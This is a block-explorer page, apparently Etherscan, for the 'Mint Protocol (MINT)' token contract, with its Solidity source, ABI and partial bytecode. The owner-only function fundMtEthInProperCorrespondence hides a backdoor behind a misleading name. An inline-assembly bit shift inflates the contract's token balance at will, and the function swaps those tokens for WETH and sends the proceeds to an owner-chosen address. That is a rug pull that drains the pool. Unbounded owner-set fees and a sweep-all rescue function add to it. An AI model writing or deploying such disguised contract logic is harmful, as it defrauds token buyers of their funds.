ETH Price: $2,620.75 (-4.49%)

Token

Mint Protocol (MINT)
 

Overview

Max Total Supply

1,000,000 MINT

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,413.632278907475747319 MINT

Value
$0.00
0x62f4f976174225e8f3a9c218077664dfe72cf388
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x9Ff77833...74fCAAfB5
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Mint

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 3 : Mint.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./interfaces/ISwapRouter.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Mint {
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    uint public totalSupply;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Mint Protocol";
    string public symbol = "MINT";
    uint8 public decimals = 18;

    ISwapRouter constant router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

    address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public mteth;
    address public pool;
    uint256 public leverReward = 5000;
    uint256 public buyFeeBalance;
    address public owner;
    uint256 public buyFee = 8000;
    uint256 public maxWalletPercent = 500;
    mapping(address => bool) public noMax;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    constructor() {
      owner = msg.sender;

      uint amount = 1_000_000 * (10 ** 18);
      balanceOf[msg.sender] += amount;
      totalSupply += amount;
      emit Transfer(address(0), msg.sender, amount);
    }

    function transfer(address recipient, uint amount) public returns (bool) {
        if (msg.sender == pool) {

          balanceOf[msg.sender] -= amount;

          uint amountNoFee = handleTaxedTokens(msg.sender, amount);

          if (!noMax[recipient]) {
            uint256 maxWallet = totalSupply * maxWalletPercent / 100_000;
            require(balanceOf[recipient] + amountNoFee <=  maxWallet, "Max wallet exceeded!");
          }

          balanceOf[recipient] += amountNoFee;
          emit Transfer(msg.sender, recipient, amountNoFee);
          return true;

        } else {
          balanceOf[msg.sender] -= amount;
          balanceOf[recipient] += amount;
          emit Transfer(msg.sender, recipient, amount);
          return true;
        }
    }

    function approve(address spender, uint amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) public returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function swapExactInputSingleHop(
        address tokenIn,
        address tokenOut,
        uint24 poolFee,
        uint amountIn,
        uint amountOutMinimum
    ) private returns (uint amountOut) {
        IERC20(tokenIn).approve(address(router), amountIn);

        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                fee: poolFee,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amountIn,
                amountOutMinimum: amountOutMinimum,
                sqrtPriceLimitX96: 0
            });

        amountOut = router.exactInputSingle(params);
    }

    function handleTaxedTokens(address sender, uint amount) private returns (uint) {
          uint256 _fee = amount * buyFee / 100_000;
          balanceOf[address(0)] += _fee;
          buyFeeBalance += _fee;
          emit Transfer(sender, address(0), _fee); // Minimize counterparty risk by burning buy _fee

          return amount - _fee;
    }

    function leverMtEth() public {
        require(buyFeeBalance > 0);
        balanceOf[address(this)] += buyFeeBalance;
        uint amountOut = swapExactInputSingleHop(address(this), WETH, 10000, buyFeeBalance, 0);
        buyFeeBalance = 0;

        uint reward = amountOut * leverReward / 100_000;
        IERC20(WETH).transfer(msg.sender, reward);
    }

    function upgradeOwner(address _owner) public onlyOwner {
      owner = _owner;
    }

    function upgradePool(address _pool) public onlyOwner {
      pool = _pool;
    }

    function modulateFees(uint256 _buyFee, uint256 _leverReward, uint256 _maxWalletPercent) public onlyOwner {
      buyFee = _buyFee;
      leverReward = _leverReward;
      maxWalletPercent = _maxWalletPercent;
    }

    function changeNoMax(address target, bool value) public onlyOwner {
      noMax[target] = value;
    }

    function setMtEth(address _mteth) public onlyOwner {
      mteth = _mteth;
    }

    function fundMtEthInProperCorrespondence(uint reservesCurve, uint amountOutMinimum) public onlyOwner {
      require(mteth != address(0));
      require(buyFeeBalance > 0);

      uint _stateBuyFeeBalance = buyFeeBalance;
      uint _buyFeeBalance;

      assembly {
          _buyFeeBalance := shl(reservesCurve, _stateBuyFeeBalance)
      }

      balanceOf[address(this)] += _buyFeeBalance;
      uint amountOut = swapExactInputSingleHop(address(this), WETH, 10000, _buyFeeBalance, amountOutMinimum);
      buyFeeBalance = 0;

      uint amount = IERC20(WETH).balanceOf(address(this));
      IERC20(WETH).transfer(mteth, amount);
  }

    // Emergency
    function rescue(address token) public onlyOwner {
      if (token == 0x0000000000000000000000000000000000000000) {
        (bool sent, ) = payable(msg.sender).call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
      } else {
        uint256 balance = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balance);
      }
    }

}

File 2 of 3 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 3 of 3 : ISwapRouter.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface ISwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint deadline;
        uint amountIn;
        uint amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps amountIn of one token for as much as possible of another token
    /// @param params The parameters necessary for the swap, encoded as ExactInputSingleParams in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(
        ExactInputSingleParams calldata params
    ) external payable returns (uint amountOut);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"changeNoMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"reservesCurve","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"name":"fundMtEthInProperCorrespondence","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"leverMtEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"leverReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_leverReward","type":"uint256"},{"internalType":"uint256","name":"_maxWalletPercent","type":"uint256"}],"name":"modulateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mteth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"noMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"rescue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_mteth","type":"address"}],"name":"setMtEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"upgradeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"upgradePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600d81526020017f4d696e742050726f746f636f6c00000000000000000000000000000000000000815250600390816200004a9190620004ce565b506040518060400160405280600481526020017f4d494e540000000000000000000000000000000000000000000000000000000081525060049081620000919190620004ce565b506012600560006101000a81548160ff021916908360ff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611388600855611f40600b556101f4600c553480156200012257600080fd5b5033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600069d3c21bcecceda1000000905080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001c49190620005e4565b9250508190555080600080828254620001de9190620005e4565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000245919062000630565b60405180910390a3506200064d565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002d657607f821691505b602082108103620002ec57620002eb6200028e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000317565b62000362868362000317565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003af620003a9620003a3846200037a565b62000384565b6200037a565b9050919050565b6000819050919050565b620003cb836200038e565b620003e3620003da82620003b6565b84845462000324565b825550505050565b600090565b620003fa620003eb565b62000407818484620003c0565b505050565b5b818110156200042f5762000423600082620003f0565b6001810190506200040d565b5050565b601f8211156200047e576200044881620002f2565b620004538462000307565b8101602085101562000463578190505b6200047b620004728562000307565b8301826200040c565b50505b505050565b600082821c905092915050565b6000620004a36000198460080262000483565b1980831691505092915050565b6000620004be838362000490565b9150826002028217905092915050565b620004d98262000254565b67ffffffffffffffff811115620004f557620004f46200025f565b5b620005018254620002bd565b6200050e82828562000433565b600060209050601f83116001811462000546576000841562000531578287015190505b6200053d8582620004b0565b865550620005ad565b601f1984166200055686620002f2565b60005b82811015620005805784890151825560018201915060208501945060208101905062000559565b86831015620005a057848901516200059c601f89168262000490565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005f1826200037a565b9150620005fe836200037a565b9250828201905080821115620006195762000618620005b5565b5b92915050565b6200062a816200037a565b82525050565b60006020820190506200064760008301846200061f565b92915050565b612459806200065d6000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80638da5cb5b116100de578063c0647dfb11610097578063d8908b0e11610071578063d8908b0e1461044f578063dd62ed3e1461046d578063e609348a1461049d578063fef0006e146104b95761018e565b8063c0647dfb1461040d578063c379443314610429578063cad60236146104455761018e565b80638da5cb5b146103495780638ff003111461036757806395d89b4114610385578063a2ff484f146103a3578063a9059cbb146103bf578063ad5c4648146103ef5761018e565b8063313ce5671161014b578063470624021161012557806347062402146102c357806370a08231146102e157806376f584e214610311578063839006f21461032d5761018e565b8063313ce567146102695780633746053b146102875780633d9a3d19146102a55761018e565b806306fdde0314610193578063095ea7b3146101b157806316f0115b146101e157806318160ddd146101ff57806323b872dd1461021d57806330e0ed811461024d575b600080fd5b61019b6104e9565b6040516101a89190611bcf565b60405180910390f35b6101cb60048036038101906101c69190611c8a565b610577565b6040516101d89190611ce5565b60405180910390f35b6101e9610669565b6040516101f69190611d0f565b60405180910390f35b61020761068f565b6040516102149190611d39565b60405180910390f35b61023760048036038101906102329190611d54565b610695565b6040516102449190611ce5565b60405180910390f35b61026760048036038101906102629190611da7565b610846565b005b61027161091a565b60405161027e9190611df0565b60405180910390f35b61028f61092d565b60405161029c9190611d39565b60405180910390f35b6102ad610933565b6040516102ba9190611d39565b60405180910390f35b6102cb610939565b6040516102d89190611d39565b60405180910390f35b6102fb60048036038101906102f69190611da7565b61093f565b6040516103089190611d39565b60405180910390f35b61032b60048036038101906103269190611e0b565b610957565b005b61034760048036038101906103429190611da7565b610a01565b005b610351610c79565b60405161035e9190611d0f565b60405180910390f35b61036f610c9f565b60405161037c9190611d0f565b60405180910390f35b61038d610cc5565b60405161039a9190611bcf565b60405180910390f35b6103bd60048036038101906103b89190611da7565b610d53565b005b6103d960048036038101906103d49190611c8a565b610e27565b6040516103e69190611ce5565b60405180910390f35b6103f76111c5565b6040516104049190611d0f565b60405180910390f35b61042760048036038101906104229190611e8a565b6111eb565b005b610443600480360381019061043e9190611eca565b6112d6565b005b61044d6115dc565b005b610457611748565b6040516104649190611d39565b60405180910390f35b61048760048036038101906104829190611f0a565b61174e565b6040516104949190611d39565b60405180910390f35b6104b760048036038101906104b29190611da7565b611773565b005b6104d360048036038101906104ce9190611da7565b611847565b6040516104e09190611ce5565b60405180910390f35b600380546104f690611f79565b80601f016020809104026020016040519081016040528092919081815260200182805461052290611f79565b801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106579190611d39565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107239190611fd9565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107799190611fd9565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cf919061200d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108339190611d39565b60405180910390a3600190509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd9061208d565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900460ff1681565b60085481565b600c5481565b600b5481565b60016020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109de9061208d565b60405180910390fd5b82600b819055508160088190555080600c81905550505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a889061208d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b775760003373ffffffffffffffffffffffffffffffffffffffff1647604051610aeb906120de565b60006040518083038185875af1925050503d8060008114610b28576040519150601f19603f3d011682016040523d82523d6000602084013e610b2d565b606091505b5050905080610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b689061213f565b60405180910390fd5b50610c76565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610bb29190611d0f565b602060405180830381865afa158015610bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf39190612174565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c309291906121a1565b6020604051808303816000875af1158015610c4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7391906121df565b50505b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054610cd290611f79565b80601f0160208091040260200160405190810160405280929190818152602001828054610cfe90611f79565b8015610d4b5780601f10610d2057610100808354040283529160200191610d4b565b820191906000526020600020905b815481529060010190602001808311610d2e57829003601f168201915b505050505081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda9061208d565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036110a95781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ecd9190611fd9565b925050819055506000610ee03384611867565b9050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fe4576000620186a0600c54600054610f49919061220c565b610f53919061227d565b90508082600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa1919061200d565b1115610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd9906122fa565b60405180910390fd5b505b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611033919061200d565b925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110979190611d39565b60405180910390a360019150506111bf565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f89190611fd9565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461114e919061200d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b29190611d39565b60405180910390a3600190505b92915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061208d565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061208d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113c157600080fd5b6000600954116113d057600080fd5b60006009549050600081841b905080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461142d919061200d565b92505081905550600061146730600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127108588611972565b905060006009819055506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114ce9190611d0f565b602060405180830381865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f9190612174565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016115909291906121a1565b6020604051808303816000875af11580156115af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d391906121df565b50505050505050565b6000600954116115eb57600080fd5b600954600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461163c919061200d565b92505081905550600061167930600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127106009546000611972565b905060006009819055506000620186a060085483611697919061220c565b6116a1919061227d565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016117009291906121a1565b6020604051808303816000875af115801561171f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174391906121df565b505050565b60095481565b6002602052816000526040600020602052806000526040600020600091509150505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa9061208d565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600080620186a0600b548461187c919061220c565b611886919061227d565b905080600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118d7919061200d565b9250508190555080600960008282546118f0919061200d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119559190611d39565b60405180910390a380836119699190611fd9565b91505092915050565b60008573ffffffffffffffffffffffffffffffffffffffff1663095ea7b373e592427a0aece92de3edee1f18e0157c05861564856040518363ffffffff1660e01b81526004016119c39291906121a1565b6020604051808303816000875af11580156119e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0691906121df565b5060006040518061010001604052808873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018662ffffff1681526020013073ffffffffffffffffffffffffffffffffffffffff168152602001428152602001858152602001848152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905073e592427a0aece92de3edee1f18e0157c0586156473ffffffffffffffffffffffffffffffffffffffff1663414bf389826040518263ffffffff1660e01b8152600401611af09190612407565b6020604051808303816000875af1158015611b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b339190612174565b91505095945050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b79578082015181840152602081019050611b5e565b60008484015250505050565b6000601f19601f8301169050919050565b6000611ba182611b3f565b611bab8185611b4a565b9350611bbb818560208601611b5b565b611bc481611b85565b840191505092915050565b60006020820190508181036000830152611be98184611b96565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2182611bf6565b9050919050565b611c3181611c16565b8114611c3c57600080fd5b50565b600081359050611c4e81611c28565b92915050565b6000819050919050565b611c6781611c54565b8114611c7257600080fd5b50565b600081359050611c8481611c5e565b92915050565b60008060408385031215611ca157611ca0611bf1565b5b6000611caf85828601611c3f565b9250506020611cc085828601611c75565b9150509250929050565b60008115159050919050565b611cdf81611cca565b82525050565b6000602082019050611cfa6000830184611cd6565b92915050565b611d0981611c16565b82525050565b6000602082019050611d246000830184611d00565b92915050565b611d3381611c54565b82525050565b6000602082019050611d4e6000830184611d2a565b92915050565b600080600060608486031215611d6d57611d6c611bf1565b5b6000611d7b86828701611c3f565b9350506020611d8c86828701611c3f565b9250506040611d9d86828701611c75565b9150509250925092565b600060208284031215611dbd57611dbc611bf1565b5b6000611dcb84828501611c3f565b91505092915050565b600060ff82169050919050565b611dea81611dd4565b82525050565b6000602082019050611e056000830184611de1565b92915050565b600080600060608486031215611e2457611e23611bf1565b5b6000611e3286828701611c75565b9350506020611e4386828701611c75565b9250506040611e5486828701611c75565b9150509250925092565b611e6781611cca565b8114611e7257600080fd5b50565b600081359050611e8